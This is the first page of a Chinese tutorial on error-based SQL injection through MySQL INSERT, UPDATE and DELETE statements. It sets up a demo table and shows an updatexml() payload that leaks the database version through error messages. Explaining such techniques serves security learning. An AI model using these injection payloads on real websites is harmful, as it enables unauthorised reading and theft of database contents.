欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  数据库

利用insert,update和delete注入获取数据_MySQL

程序员文章站 2022-04-18 16:22:12
...

0x00 简介


利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的。那么,当我们发现了一个基于insert、update、delete语句的注射点时(比如有的网站会记录用户浏览记录,包括referer、client_ip、user-agent等,还有类似于用户注册、密码修改、信息删除等功能),还可以用如上方法获取我们需要的数据吗?在这里,我们以MYSQL的显错为例,看一下如何在insert、update、delete的注射点中获取我们想要的数据。

0x01 环境搭建


为了更好的演示注射效果,我们先利用下面的语句创建原始数据:

create database newdb;use newdb; create table users(id int(3) not null auto_increment,username varchar(20) not null,password varchar(20) not null, primary key (id)); insert into users values(1,'Jane','Eyre');

利用insert,update和delete注入获取数据_MySQL

看一下当前数据结构:

利用insert,update和delete注入获取数据_MySQL

0x02 注入语法


因为我们这里是用的显错模式,所以思路就是在insert、update、delete语句中人为构造语法错误,利用如下语句:

insert into users (id, username, password) values (2,''inject here'','Olivia'); insert into users (id, username, password) values (2,""inject here"",'Olivia');

利用insert,update和delete注入获取数据_MySQL

注意:大家看到本来是要填入username字段的地方,我们填了'inject here'和”inject here”两个字段来实现爆错,一个是单引号包含、一个是双引号包含,要根据实际的注入点灵活构造。

0x03 利用updatexml()获取数据


updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

payload:

or updatexml(1,concat(0x7e,(version())),0) or

Insert:

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo');

利用insert,update和delete注入获取数据_MySQL

[1] [2] [3] [4] [5] [6] 下一页